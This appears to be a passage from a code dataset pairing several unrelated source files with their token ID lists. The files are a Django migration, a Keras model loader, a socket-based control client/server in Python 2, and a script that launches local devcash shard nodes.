13, 1678, 1683, 29901, 13, 4706, 736, 851, 13, 13, 1753, 4226, 675, 29898, 710, 1125, 13, 1678, 9995, 13, 4706, 21981, 7093, 278, 1347, 3907, 1347, 599, 5224, 1206, 322, 25388, 599, 6035, 22999, 362, 29889, 13, 4706, 584, 3207, 851, 29901, 1347, 304, 367, 4226, 1891, 13, 4706, 584, 2457, 29901, 4226, 1891, 1347, 29892, 565, 851, 338, 6213, 470, 4069, 372, 3639, 278, 2441, 1347, 13, 1678, 9995, 13, 13, 1678, 565, 851, 29901, 13, 4706, 565, 338, 8758, 29898, 710, 29892, 29104, 1125, 13, 9651, 451, 29918, 1026, 2153, 29918, 272, 29918, 7501, 1169, 353, 318, 29915, 3850, 29937, 29995, 20333, 580, 29930, 29974, 6653, 6904, 29901, 29936, 29966, 4261, 29973, 29992, 7110, 29962, 29985, 29918, 29952, 28437, 29913, 30022, 29915, 13, 9651, 14240, 29918, 517, 353, 318, 4907, 13, 9651, 14240, 29918, 2371, 353, 9657, 3552, 536, 29898, 3090, 511, 14240, 29918, 517, 29897, 363, 1373, 297, 451, 29918, 1026, 2153, 29918, 272, 29918, 7501, 1169, 29897, 13, 9651, 736, 851, 29889, 21652, 29898, 21652, 29918, 2371, 29897, 13, 4706, 1683, 29901, 13, 9651, 736, 851, 29889, 13609, 2141, 21652, 29898, 1807, 29889, 29885, 557, 18184, 550, 703, 3284, 4968, 1347, 29889, 29886, 18049, 29884, 362, 29897, 13, 1678, 1683, 29901, 13, 4706, 736, 851, 13, 13, 1753, 679, 29918, 303, 331, 29898, 1742, 1125, 13, 1678, 396, 4986, 3970, 29901, 10550, 20805, 4056, 9562, 322, 2334, 1158, 773, 3489, 3168, 13, 1678, 736, 1734, 2 ]
LPP/lmsff/lms_app/migrations/0002_auto_20180912_0920.py
teamdiniz/Projeto-devops-lms
0
189852
# Generated by Django 2.0.6 on 2018-09-12 12:20 from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('lms_app', '0001_initial'), ] operations = [ migrations.RenameField( model_name='disciplina', old_name='nomedd', new_name='nome', ), ]
[ 1, 396, 3251, 630, 491, 15337, 29871, 29906, 29889, 29900, 29889, 29953, 373, 29871, 29906, 29900, 29896, 29947, 29899, 29900, 29929, 29899, 29896, 29906, 29871, 29896, 29906, 29901, 29906, 29900, 30004, 13, 30004, 13, 3166, 9557, 29889, 2585, 1053, 9725, 800, 30004, 13, 30004, 13, 30004, 13, 1990, 341, 16783, 29898, 26983, 800, 29889, 29924, 16783, 1125, 30004, 13, 30004, 13, 1678, 9962, 353, 518, 30004, 13, 4706, 6702, 29880, 1516, 29918, 932, 742, 525, 29900, 29900, 29900, 29896, 29918, 11228, 5477, 30004, 13, 1678, 4514, 30004, 13, 30004, 13, 1678, 6931, 353, 518, 30004, 13, 4706, 9725, 800, 29889, 29934, 3871, 3073, 29898, 30004, 13, 9651, 1904, 29918, 978, 2433, 2218, 13326, 1099, 23592, 13, 9651, 2030, 29918, 978, 2433, 11522, 287, 29881, 23592, 13, 9651, 716, 29918, 978, 2433, 25155, 23592, 13, 4706, 10353, 30004, 13, 1678, 4514, 30004, 13, 2 ]
Python3/专利检索爬虫/solvecsvFUCKED.py
BillChen2K/LearningRepo
11
154745
from lxml import etree import lxml import pickle with open('/Users/billchen/OneDrive/Workspace/LearningRepo/Python3/专利检索爬虫/20050101_20101231_B09B_PAGE1.pickle', 'rb') as f: source = '' p = pickle.load(f) html = etree.HTML(p)
[ 1, 515, 301, 3134, 1053, 634, 929, 13, 5215, 301, 3134, 13, 5215, 5839, 280, 13, 13, 2541, 1722, 11219, 5959, 29914, 29890, 453, 2724, 29914, 6716, 29928, 4401, 29914, 5531, 3493, 29914, 29931, 799, 1076, 5612, 29877, 29914, 11980, 29941, 29914, 31756, 31107, 233, 166, 131, 31836, 234, 139, 175, 235, 156, 174, 29914, 29906, 29900, 29900, 29945, 29900, 29896, 29900, 29896, 29918, 29906, 29900, 29896, 29900, 29896, 29906, 29941, 29896, 29918, 29933, 29900, 29929, 29933, 29918, 7228, 1692, 29896, 29889, 23945, 280, 742, 525, 6050, 1495, 408, 285, 29901, 13, 1678, 2752, 353, 6629, 13, 1678, 282, 353, 5839, 280, 29889, 1359, 29898, 29888, 29897, 13, 1420, 353, 634, 929, 29889, 7020, 29898, 29886, 29897, 13, 2 ]
load_model.py
zhfeing/cifar-10-test
0
27458
import keras import os def load_model(version, new_model, retrain=False, *args): """ :param version: model version :param new_model: method for call to get a new model e.g. my_ResNet.my_ResNet :param retrain: True: load new model :return: """ create_new_model = False # load model if not retrain: try: with open(os.path.join("./model", "model_structure_{}.json".format(version)), "r") as file: model_json = file.read() print("[info]: loading model...") model = keras.models.model_from_json(model_json) model.load_weights(os.path.join("./model", "model_weights_{}.h5".format(version))) print("[info]: load model done.") except OSError: print("[info]: load model file failed, creating model") model = new_model(*args) create_new_model = True else: print("[info]: retrain, creating model") model = new_model(*args) create_new_model = True return model, create_new_model
[ 1, 1053, 13023, 294, 13, 5215, 2897, 13, 13, 13, 1753, 2254, 29918, 4299, 29898, 3259, 29892, 716, 29918, 4299, 29892, 337, 14968, 29922, 8824, 29892, 334, 5085, 1125, 13, 1678, 9995, 13, 1678, 584, 3207, 1873, 29901, 1904, 1873, 13, 1678, 584, 3207, 716, 29918, 4299, 29901, 1158, 363, 1246, 304, 679, 263, 716, 1904, 321, 29889, 29887, 29889, 590, 29918, 1666, 6779, 29889, 1357, 29918, 1666, 6779, 13, 1678, 584, 3207, 337, 14968, 29901, 5852, 29901, 2254, 716, 1904, 13, 1678, 584, 2457, 29901, 13, 1678, 9995, 13, 1678, 1653, 29918, 1482, 29918, 4299, 353, 7700, 13, 1678, 396, 2254, 1904, 13, 1678, 565, 451, 337, 14968, 29901, 13, 4706, 1018, 29901, 13, 9651, 411, 1722, 29898, 359, 29889, 2084, 29889, 7122, 703, 6904, 4299, 613, 376, 4299, 29918, 23905, 648, 1836, 3126, 1642, 4830, 29898, 3259, 8243, 376, 29878, 1159, 408, 934, 29901, 13, 18884, 1904, 29918, 3126, 353, 934, 29889, 949, 580, 13, 9651, 1596, 703, 29961, 3888, 5387, 8363, 1904, 856, 1159, 13, 9651, 1904, 353, 13023, 294, 29889, 9794, 29889, 4299, 29918, 3166, 29918, 3126, 29898, 4299, 29918, 3126, 29897, 13, 9651, 1904, 29889, 1359, 29918, 705, 5861, 29898, 359, 29889, 2084, 29889, 7122, 703, 6904, 4299, 613, 376, 4299, 29918, 705, 5861, 648, 1836, 29882, 29945, 1642, 4830, 29898, 3259, 4961, 13, 9651, 1596, 703, 29961, 3888, 5387, 2254, 1904, 2309, 23157, 13, 4706, 5174, 438, 29173, 29901, 13, 9651, 1596, 703, 29961, 3888, 5387, 2254, 1904, 934, 5229, 29892, 4969, 1904, 1159, 13, 9651, 1904, 353, 716, 29918, 4299, 10456, 5085, 29897, 13, 9651, 1653, 29918, 1482, 29918, 4299, 353, 5852, 13, 1678, 1683, 29901, 13, 4706, 1596, 703, 29961, 3888, 5387, 337, 14968, 29892, 4969, 1904, 1159, 13, 4706, 1904, 353, 716, 29918, 4299, 10456, 5085, 29897, 13, 4706, 1653, 29918, 1482, 29918, 4299, 353, 5852, 13, 1678, 736, 1904, 29892, 1653, 29918, 1482, 29918, 4299, 13, 13, 2 ]
sgcache/control.py
vfxetc/sgcache
13
8516
<gh_stars>10-100 from __future__ import absolute_import from select import select import errno import functools import itertools import json import logging import os import socket import threading import time import traceback log = logging.getLogger(__name__) from .utils import makedirs, unlink class TimeOut(Exception): pass base_handlers = { 'ping': lambda control, msg: {'type': 'pong', 'pid': os.getpid()} } def _coerce_msg(type=None, **msg): if type: if isinstance(type, basestring): msg['type'] = type return msg elif msg: raise ValueError('cannot specify dict message and kwargs') else: msg = dict(type) if 'type' not in msg: raise ValueError('message requires type') return msg class ControlClient(object): handlers = base_handlers.copy() def __init__(self, addr=None, sock=None, server=None): self.addr = addr self.sock = sock self.server = server self._line_buffer = '' self._message_buffer = [] self._handler_reply_ids = None self._session_generator = itertools.count(1) if sock is None: self.connect() def connect(self): # This is indempodent. if self.sock is not None: return if self.addr is None: return if isinstance(self.addr, basestring): self.sock = socket.socket(socket.AF_UNIX) else: self.sock = socket.socket(socket.AF_INET) self.sock.connect(self.addr) return True def close(self): if self.sock: self.sock.close() self.sock = None def _readline(self, timeout=None): if not self.sock: return if timeout: end_time = time.time() + timeout buffer_ = self._line_buffer while True: r, _, _ = select([self.sock], [], [], max(0, end_time - time.time()) if timeout else None) if not r: raise TimeOut() new = self.sock.recv(4096) if not new: self.sock = None self._line_buffer = '' return buffer_ += new if '\n' in buffer_: line, buffer_ = buffer_.split('\n', 1) self._line_buffer = buffer_ return line def recv(self, timeout=None): try: return self._message_buffer.pop(0) except IndexError: pass for attempt_num in (0, 1): self.connect() try: line = self._readline(timeout) except socket.error as e: if attempt_num: raise if line: try: return json.loads(line) except: self.send('error', message='malformed message') self.close() return if attempt_num: return def recv_for(self, wait_id, timeout=None): for i in xrange(len(self._message_buffer)): msg = self._message_buffer[i] if msg.get('for') == wait_id: self._message_buffer.pop(i) return msg while True: msg = self.recv(timeout) if not msg: return if msg.get('for') == wait_id: return msg self._message_buffer.append(msg) def send(self, *args, **kwargs): msg = _coerce_msg(*args, **kwargs) wait_id = msg.get('wait') if wait_id is True: wait_id = msg['wait'] = next(self._session_generator) encoded = json.dumps(msg) # Track what has been sent automatically. if wait_id is not None and self._handler_reply_ids is not None: self._handler_reply_ids.add(wait_id) # Attempt to reconnect a couple times when sending this. for attempt_num in (0, 1): self.connect() try: self.sock.send(encoded + '\n') except socket.error as e: if attempt_num: raise return wait_id def reply_to(self, original, *args, **kwargs): wait_id = original.get('wait') if wait_id is None: raise ValueError('original message has no session') msg = _coerce_msg(*args, **kwargs) msg['for'] = wait_id self.send(msg) def send_and_recv(self, type, **kwargs): timeout = kwargs.pop('timeout') msg = _coerce_msg(type, **kwargs) msg['wait'] = True wait_id = self.send(msg) return self.recv_for(wait_id, timeout) def ping(self, timeout=None): return self.send_and_recv('ping', pid=os.getpid(), timeout=timeout) def loop(self, async=False): if async: thread = threading.Thread(target=self.loop) thread.daemon = True thread.start() return thread while True: msg = self.recv() if not msg: return type_ = msg.get('type') wait_id = msg.get('wait') func = self.handlers.get(type_) if func is None and self.server: func = self.server.handlers.get(type_) if func is None: log.warning('unknown message type %r' % type_) self.reply_to(msg, 'error', message='unknown message type %r' % type_) continue if self.server and self.server.name: log.info('%s handling %s' % (self.server.name, type_)) else: log.info('handling %s' % type_) self._handler_reply_ids = set() try: res = func(self, msg) except Exception as e: self.reply_to(msg, 'error', message='unhandled exception %s' % e) continue # If the handler replied, then we are done. if res is None and wait_id is None or wait_id in self._handler_reply_ids: continue res = res.copy() if isinstance(res, dict) and 'type' in res else {'type': 'result', 'value': res} if wait_id is not None: res['for'] = wait_id self.send(res) class ControlServer(object): def __init__(self, addr, name=None): self.addr = addr self.name = name self.handlers = base_handlers.copy() if isinstance(self.addr, basestring): self.sock = socket.socket(socket.AF_UNIX) if os.path.exists(self.addr): # TODO: Try connecting to it before destroying it. unlink(self.addr) makedirs(os.path.dirname(self.addr)) else: self.sock = socket.socket(socket.AF_INET) self.sock.bind(self.addr) self.sock.listen(5) def register(self, func=None, **kwargs): if func is None: return functools(self.register(**kwargs)) self.handlers[kwargs.get('name') or func.__name__] = func def loop(self, async=False): if async: thread = threading.Thread(target=self.loop) thread.daemon = True thread.start() return thread while True: try: client_sock, addr = self.sock.accept() except socket.timeout: continue client = ControlClient(sock=client_sock, server=self) client.loop(async=True)
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29900, 29899, 29896, 29900, 29900, 13, 3166, 4770, 29888, 9130, 1649, 1053, 8380, 29918, 5215, 13, 13, 3166, 1831, 1053, 1831, 13, 5215, 4589, 1217, 13, 5215, 2090, 312, 8789, 13, 5215, 4256, 8504, 13, 5215, 4390, 13, 5215, 12183, 13, 5215, 2897, 13, 5215, 9909, 13, 5215, 3244, 292, 13, 5215, 931, 13, 5215, 9637, 1627, 13, 13, 1188, 353, 12183, 29889, 657, 16363, 22168, 978, 1649, 29897, 13, 13, 13, 3166, 869, 13239, 1053, 2136, 287, 12935, 29892, 443, 2324, 13, 13, 13, 1990, 5974, 3744, 29898, 2451, 1125, 13, 1678, 1209, 13, 13, 3188, 29918, 3179, 9306, 353, 426, 13, 1678, 525, 15702, 2396, 14013, 2761, 29892, 10191, 29901, 11117, 1853, 2396, 525, 29886, 549, 742, 525, 5935, 2396, 2897, 29889, 657, 5935, 28296, 13, 29913, 13, 13, 1753, 903, 1111, 261, 346, 29918, 7645, 29898, 1853, 29922, 8516, 29892, 3579, 7645, 1125, 13, 13, 1678, 565, 1134, 29901, 13, 4706, 565, 338, 8758, 29898, 1853, 29892, 2362, 342, 5393, 1125, 13, 9651, 10191, 1839, 1853, 2033, 353, 1134, 13, 9651, 736, 10191, 13, 4706, 25342, 10191, 29901, 13, 9651, 12020, 7865, 2392, 877, 29883, 6735, 6084, 9657, 2643, 322, 9049, 5085, 1495, 13, 4706, 1683, 29901, 13, 9651, 10191, 353, 9657, 29898, 1853, 29897, 13, 13, 1678, 565, 525, 1853, 29915, 451, 297, 10191, 29901, 13, 4706, 12020, 7865, 2392, 877, 4906, 6858, 1134, 1495, 13, 1678, 736, 10191, 13, 13, 13, 1990, 11264, 4032, 29898, 3318, 1125, 13, 13, 1678, 25795, 353, 2967, 29918, 3179, 9306, 29889, 8552, 580, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 28915, 29922, 8516, 29892, 577, 384, 29922, 8516, 29892, 1923, 29922, 8516, 1125, 13, 13, 4706, 1583, 29889, 10030, 353, 28915, 13, 4706, 1583, 29889, 21852, 353, 577, 384, 13, 4706, 1583, 29889, 2974, 353, 1923, 13, 13, 4706, 1583, 3032, 1220, 29918, 9040, 353, 6629, 13, 4706, 1583, 3032, 4906, 29918, 9040, 353, 5159, 13, 4706, 1583, 3032, 13789, 29918, 3445, 368, 29918, 4841, 353, 6213, 13, 4706, 1583, 3032, 7924, 29918, 27959, 353, 4256, 8504, 29889, 2798, 29898, 29896, 29897, 13, 13, 4706, 565, 577, 384, 338, 6213, 29901, 13, 9651, 1583, 29889, 6915, 580, 13, 13, 1678, 822, 4511, 29898, 1311, 1125, 13, 13, 4706, 396, 910, 338, 5704, 1526, 397, 296, 29889, 13, 4706, 565, 1583, 29889, 21852, 338, 451, 6213, 29901, 13, 9651, 736, 13, 13, 4706, 565, 1583, 29889, 10030, 338, 6213, 29901, 13, 9651, 736, 13, 13, 4706, 565, 338, 8758, 29898, 1311, 29889, 10030, 29892, 2362, 342, 5393, 1125, 13, 9651, 1583, 29889, 21852, 353, 9909, 29889, 11514, 29898, 11514, 29889, 5098, 29918, 3904, 6415, 29897, 13, 4706, 1683, 29901, 13, 9651, 1583, 29889, 21852, 353, 9909, 29889, 11514, 29898, 11514, 29889, 5098, 29918, 1177, 2544, 29897, 13, 4706, 1583, 29889, 21852, 29889, 6915, 29898, 1311, 29889, 10030, 29897, 13, 13, 4706, 736, 5852, 13, 13, 1678, 822, 3802, 29898, 1311, 1125, 13, 4706, 565, 1583, 29889, 21852, 29901, 13, 9651, 1583, 29889, 21852, 29889, 5358, 580, 13, 4706, 1583, 29889, 21852, 353, 6213, 13, 13, 1678, 822, 903, 949, 1220, 29898, 1311, 29892, 11815, 29922, 8516, 1125, 13, 13, 4706, 565, 451, 1583, 29889, 21852, 29901, 13, 9651, 736, 13, 13, 4706, 565, 11815, 29901, 13, 9651, 1095, 29918, 2230, 353, 931, 29889, 2230, 580, 718, 11815, 13, 13, 4706, 6835, 29918, 353, 1583, 3032, 1220, 29918, 9040, 13, 4706, 1550, 5852, 29901, 13, 13, 9651, 364, 29892, 17117, 903, 353, 1831, 4197, 1311, 29889, 21852, 1402, 19997, 19997, 4236, 29898, 29900, 29892, 1095, 29918, 2230, 448, 931, 29889, 2230, 3101, 565, 11815, 1683, 6213, 29897, 13, 9651, 565, 451, 364, 29901, 13, 18884, 12020, 5974, 3744, 580, 13, 13, 9651, 716, 353, 1583, 29889, 21852, 29889, 3757, 29894, 29898, 29946, 29900, 29929, 29953, 29897, 13, 9651, 565, 451, 716, 29901, 13, 18884, 1583, 29889, 21852, 353, 6213, 13, 18884, 1583, 3032, 1220, 29918, 9040, 353, 6629, 13, 18884, 736, 13, 13, 9651, 6835, 29918, 4619, 716, 13, 9651, 565, 11297, 29876, 29915, 297, 6835, 29918, 29901, 13, 18884, 1196, 29892, 6835, 29918, 353, 6835, 5396, 5451, 28909, 29876, 742, 29871, 29896, 29897, 13, 18884, 1583, 3032, 1220, 29918, 9040, 353, 6835, 29918, 13, 18884, 736, 1196, 13, 13, 1678, 822, 1162, 29894, 29898, 1311, 29892, 11815, 29922, 8516, 1125, 13, 4706, 1018, 29901, 13, 9651, 736, 1583, 3032, 4906, 29918, 9040, 29889, 7323, 29898, 29900, 29897, 13, 4706, 5174, 11374, 2392, 29901, 13, 9651, 1209, 13, 4706, 363, 4218, 29918, 1949, 297, 313, 29900, 29892, 29871, 29896, 1125, 13, 9651, 1583, 29889, 6915, 580, 13, 9651, 1018, 29901, 13, 18884, 1196, 353, 1583, 3032, 949, 1220, 29898, 15619, 29897, 13, 9651, 5174, 9909, 29889, 2704, 408, 321, 29901, 13, 18884, 565, 4218, 29918, 1949, 29901, 13, 462, 1678, 12020, 13, 9651, 565, 1196, 29901, 13, 18884, 1018, 29901, 13, 462, 1678, 736, 4390, 29889, 18132, 29898, 1220, 29897, 13, 18884, 5174, 29901, 13, 462, 1678, 1583, 29889, 6717, 877, 2704, 742, 2643, 2433, 5156, 15628, 2643, 1495, 13, 462, 1678, 1583, 29889, 5358, 580, 13, 462, 1678, 736, 13, 9651, 565, 4218, 29918, 1949, 29901, 13, 18884, 736, 13, 13, 1678, 822, 1162, 29894, 29918, 1454, 29898, 1311, 29892, 4480, 29918, 333, 29892, 11815, 29922, 8516, 1125, 13, 4706, 363, 474, 297, 921, 3881, 29898, 2435, 29898, 1311, 3032, 4906, 29918, 9040, 22164, 13, 9651, 10191, 353, 1583, 3032, 4906, 29918, 9040, 29961, 29875, 29962, 13, 9651, 565, 10191, 29889, 657, 877, 1454, 1495, 1275, 4480, 29918, 333, 29901, 13, 18884, 1583, 3032, 4906, 29918, 9040, 29889, 7323, 29898, 29875, 29897, 13, 18884, 736, 10191, 13, 4706, 1550, 5852, 29901, 13, 9651, 10191, 353, 1583, 29889, 3757, 29894, 29898, 15619, 29897, 13, 9651, 565, 451, 10191, 29901, 13, 18884, 736, 13, 9651, 565, 10191, 29889, 657, 877, 1454, 1495, 1275, 4480, 29918, 333, 29901, 13, 18884, 736, 10191, 13, 9651, 1583, 3032, 4906, 29918, 9040, 29889, 4397, 29898, 7645, 29897, 13, 13, 1678, 822, 3638, 29898, 1311, 29892, 334, 5085, 29892, 3579, 19290, 1125, 13, 13, 4706, 10191, 353, 903, 1111, 261, 346, 29918, 7645, 10456, 5085, 29892, 3579, 19290, 29897, 13, 13, 4706, 4480, 29918, 333, 353, 10191, 29889, 657, 877, 10685, 1495, 13, 4706, 565, 4480, 29918, 333, 338, 5852, 29901, 13, 9651, 4480, 29918, 333, 353, 10191, 1839, 10685, 2033, 353, 2446, 29898, 1311, 3032, 7924, 29918, 27959, 29897, 13, 13, 4706, 18511, 353, 4390, 29889, 29881, 17204, 29898, 7645, 29897, 13, 13, 4706, 396, 17026, 825, 756, 1063, 2665, 6336, 29889, 13, 4706, 565, 4480, 29918, 333, 338, 451, 6213, 322, 1583, 3032, 13789, 29918, 3445, 368, 29918, 4841, 338, 451, 6213, 29901, 13, 9651, 1583, 3032, 13789, 29918, 3445, 368, 29918, 4841, 29889, 1202, 29898, 10685, 29918, 333, 29897, 13, 13, 4706, 396, 6212, 3456, 304, 337, 6915, 263, 7303, 3064, 746, 9348, 445, 29889, 13, 4706, 363, 4218, 29918, 1949, 297, 313, 29900, 29892, 29871, 29896, 1125, 13, 9651, 1583, 29889, 6915, 580, 13, 9651, 1018, 29901, 13, 18884, 1583, 29889, 21852, 29889, 6717, 29898, 26716, 718, 11297, 29876, 1495, 13, 9651, 5174, 9909, 29889, 2704, 408, 321, 29901, 13, 18884, 565, 4218, 29918, 1949, 29901, 13, 462, 1678, 12020, 13, 9651, 736, 4480, 29918, 333, 13, 13, 1678, 822, 8908, 29918, 517, 29898, 1311, 29892, 2441, 29892, 334, 5085, 29892, 3579, 19290, 1125, 13, 4706, 4480, 29918, 333, 353, 2441, 29889, 657, 877, 10685, 1495, 13, 4706, 565, 4480, 29918, 333, 338, 6213, 29901, 13, 9651, 12020, 7865, 2392, 877, 13492, 2643, 756, 694, 4867, 1495, 13, 4706, 10191, 353, 903, 1111, 261, 346, 29918, 7645, 10456, 5085, 29892, 3579, 19290, 29897, 13, 4706, 10191, 1839, 1454, 2033, 353, 4480, 29918, 333, 13, 4706, 1583, 29889, 6717, 29898, 7645, 29897, 13, 13, 1678, 822, 3638, 29918, 392, 29918, 3757, 29894, 29898, 1311, 29892, 1134, 29892, 3579, 19290, 1125, 13, 4706, 11815, 353, 9049, 5085, 29889, 7323, 877, 15619, 1495, 13, 4706, 10191, 353, 903, 1111, 261, 346, 29918, 7645, 29898, 1853, 29892, 3579, 19290, 29897, 13, 4706, 10191, 1839, 10685, 2033, 353, 5852, 13, 4706, 4480, 29918, 333, 353, 1583, 29889, 6717, 29898, 7645, 29897, 13, 4706, 736, 1583, 29889, 3757, 29894, 29918, 1454, 29898, 10685, 29918, 333, 29892, 11815, 29897, 13, 13, 1678, 822, 24543, 29898, 1311, 29892, 11815, 29922, 8516, 1125, 13, 4706, 736, 1583, 29889, 6717, 29918, 392, 29918, 3757, 29894, 877, 15702, 742, 23107, 29922, 359, 29889, 657, 5935, 3285, 11815, 29922, 15619, 29897, 13, 13, 1678, 822, 2425, 29898, 1311, 29892, 7465, 29922, 8824, 1125, 13, 13, 4706, 565, 7465, 29901, 13, 9651, 3244, 353, 3244, 292, 29889, 4899, 29898, 5182, 29922, 1311, 29889, 7888, 29897, 13, 9651, 3244, 29889, 1388, 9857, 353, 5852, 13, 9651, 3244, 29889, 2962, 580, 13, 9651, 736, 3244, 13, 13, 4706, 1550, 5852, 29901, 13, 13, 9651, 10191, 353, 1583, 29889, 3757, 29894, 580, 13, 9651, 565, 451, 10191, 29901, 13, 18884, 736, 13, 13, 9651, 1134, 29918, 353, 10191, 29889, 657, 877, 1853, 1495, 13, 9651, 4480, 29918, 333, 353, 10191, 29889, 657, 877, 10685, 1495, 13, 13, 9651, 3653, 353, 1583, 29889, 3179, 9306, 29889, 657, 29898, 1853, 19925, 13, 9651, 565, 3653, 338, 6213, 322, 1583, 29889, 2974, 29901, 13, 18884, 3653, 353, 1583, 29889, 2974, 29889, 3179, 9306, 29889, 657, 29898, 1853, 19925, 13, 9651, 565, 3653, 338, 6213, 29901, 13, 18884, 1480, 29889, 27392, 877, 26690, 2643, 1134, 1273, 29878, 29915, 1273, 1134, 19925, 13, 18884, 1583, 29889, 3445, 368, 29918, 517, 29898, 7645, 29892, 525, 2704, 742, 2643, 2433, 26690, 2643, 1134, 1273, 29878, 29915, 1273, 1134, 19925, 13, 18884, 6773, 13, 13, 9651, 565, 1583, 29889, 2974, 322, 1583, 29889, 2974, 29889, 978, 29901, 13, 18884, 1480, 29889, 3888, 877, 29995, 29879, 11415, 1273, 29879, 29915, 1273, 313, 1311, 29889, 2974, 29889, 978, 29892, 1134, 29918, 876, 13, 9651, 1683, 29901, 13, 18884, 1480, 29889, 3888, 877, 3179, 1847, 1273, 29879, 29915, 1273, 1134, 19925, 13, 13, 9651, 1583, 3032, 13789, 29918, 3445, 368, 29918, 4841, 353, 731, 580, 13, 9651, 1018, 29901, 13, 18884, 620, 353, 3653, 29898, 1311, 29892, 10191, 29897, 13, 9651, 5174, 8960, 408, 321, 29901, 13, 18884, 1583, 29889, 3445, 368, 29918, 517, 29898, 7645, 29892, 525, 2704, 742, 2643, 2433, 348, 3179, 839, 3682, 1273, 29879, 29915, 1273, 321, 29897, 13, 18884, 6773, 13, 13, 9651, 396, 960, 278, 7834, 10352, 29892, 769, 591, 526, 2309, 29889, 13, 9651, 565, 620, 338, 6213, 322, 4480, 29918, 333, 338, 6213, 470, 4480, 29918, 333, 297, 1583, 3032, 13789, 29918, 3445, 368, 29918, 4841, 29901, 13, 18884, 6773, 13, 13, 9651, 620, 353, 620, 29889, 8552, 580, 565, 338, 8758, 29898, 690, 29892, 9657, 29897, 322, 525, 1853, 29915, 297, 620, 1683, 11117, 1853, 2396, 525, 2914, 742, 525, 1767, 2396, 620, 29913, 13, 9651, 565, 4480, 29918, 333, 338, 451, 6213, 29901, 13, 18884, 620, 1839, 1454, 2033, 353, 4480, 29918, 333, 13, 9651, 1583, 29889, 6717, 29898, 690, 29897, 13, 13, 13, 13, 13, 1990, 11264, 6004, 29898, 3318, 1125, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 28915, 29892, 1024, 29922, 8516, 1125, 13, 13, 4706, 1583, 29889, 10030, 353, 28915, 13, 4706, 1583, 29889, 978, 353, 1024, 13, 4706, 1583, 29889, 3179, 9306, 353, 2967, 29918, 3179, 9306, 29889, 8552, 580, 13, 13, 4706, 565, 338, 8758, 29898, 1311, 29889, 10030, 29892, 2362, 342, 5393, 1125, 13, 9651, 1583, 29889, 21852, 353, 9909, 29889, 11514, 29898, 11514, 29889, 5098, 29918, 3904, 6415, 29897, 13, 9651, 565, 2897, 29889, 2084, 29889, 9933, 29898, 1311, 29889, 10030, 1125, 13, 18884, 396, 14402, 29901, 3967, 16791, 304, 372, 1434, 8174, 292, 372, 29889, 13, 18884, 443, 2324, 29898, 1311, 29889, 10030, 29897, 13, 9651, 2136, 287, 12935, 29898, 359, 29889, 2084, 29889, 25721, 29898, 1311, 29889, 10030, 876, 13, 4706, 1683, 29901, 13, 9651, 1583, 29889, 21852, 353, 9909, 29889, 11514, 29898, 11514, 29889, 5098, 29918, 1177, 2544, 29897, 13, 13, 4706, 1583, 29889, 21852, 29889, 5355, 29898, 1311, 29889, 10030, 29897, 13, 4706, 1583, 29889, 21852, 29889, 20631, 29898, 29945, 29897, 13, 13, 1678, 822, 6036, 29898, 1311, 29892, 3653, 29922, 8516, 29892, 3579, 19290, 1125, 13, 4706, 565, 3653, 338, 6213, 29901, 13, 9651, 736, 2090, 312, 8789, 29898, 1311, 29889, 9573, 29898, 1068, 19290, 876, 13, 4706, 1583, 29889, 3179, 9306, 29961, 19290, 29889, 657, 877, 978, 1495, 470, 3653, 17255, 978, 1649, 29962, 353, 3653, 13, 13, 1678, 822, 2425, 29898, 1311, 29892, 7465, 29922, 8824, 1125, 13, 13, 4706, 565, 7465, 29901, 13, 9651, 3244, 353, 3244, 292, 29889, 4899, 29898, 5182, 29922, 1311, 29889, 7888, 29897, 13, 9651, 3244, 29889, 1388, 9857, 353, 5852, 13, 9651, 3244, 29889, 2962, 580, 13, 9651, 736, 3244, 13, 13, 4706, 1550, 5852, 29901, 13, 9651, 1018, 29901, 13, 18884, 3132, 29918, 21852, 29892, 28915, 353, 1583, 29889, 21852, 29889, 16044, 580, 13, 9651, 5174, 9909, 29889, 15619, 29901, 13, 18884, 6773, 13, 13, 9651, 3132, 353, 11264, 4032, 29898, 21852, 29922, 4645, 29918, 21852, 29892, 1923, 29922, 1311, 29897, 13, 9651, 3132, 29889, 7888, 29898, 12674, 29922, 5574, 29897, 13, 2 ]
scripts/run_shard.py
spmckenney/Devv-Core
0
59865
<filename>scripts/run_shard.py<gh_stars>0 #!/usr/bin/python3 ''' Usage: ./run_shard.py config_file output_dir Example: ./run_shard.py ../../my_config.txt /tmp/output Creates an X node shard on localhost. Each node will read the config file for default options. The nodes will be connected to each other and each will also open a connection to an announcer at "tcp://localhost:(announcer_base_port + node_num). ''' import sys import os import time import subprocess nodes=['localhost', 'localhost', 'localhost'] announce_node='localhost' start_processes = True run_in_charliecloud = False num_nodes = len(nodes) num_t2_shards=1 base_port = 56550 announcer_base_port = 57550 config_file = sys.argv[1] log_dir = sys.argv[2] pass_file = sys.argv[3] if num_nodes < 3: print("Error, number of nodes must be >= 3") bind_port = [] node_target = [] output_file = [] for i in range(num_nodes): bind_port.append("tcp://*:"+str(base_port+i)) node_target.append("tcp://"+nodes[i]+":"+str(base_port+i)) output_file.append(os.path.join(log_dir, "devvnode_output"+str(i)+".log")) host_list = [] for i in range(num_nodes): host_list.append([]) #node_index=i for index, node in enumerate(nodes): # skip self if (index == i): continue host_list[i].append(node_target[index]) cmds = [] for i in range(len(nodes)): cmds.append([]) cmd = cmds[i] if run_in_charliecloud: cmd.append("ch-run") cmd.append("/z/c-cloud/dirs/x86_64-ubuntu16.04-devcash-v028") cmd.append("--") cmd.append("./devcash") # set node index cmd.extend(["--node-index", str(i)]) # add config file cmd.extend(["--config", config_file]) # add config file cmd.extend(["--config", pass_file]) # connect to each node for host in host_list[i]: cmd.extend(["--host-list", host]) # connect to announcer cmd.extend(["--host-list", "tcp://"+announce_node+":"+str(announcer_base_port+i)]) # bind for incoming connections cmd.extend(["--bind-endpoint", bind_port[i]]) ############################# ps = [] for index,cmd in enumerate(cmds): print("Node " + str(index) + ":") print(" Command: ",*cmd) print(" Logfile: ",output_file[index]) if start_processes: with open(output_file[index], "w") as outfile: ps.append(subprocess.Popen(cmd, stdout=outfile, stderr=outfile)) time.sleep(1.5) if start_processes: for p in ps: print("Waiting for nodes ... ctl-c to exit.") p.wait() print("Goodbye.")
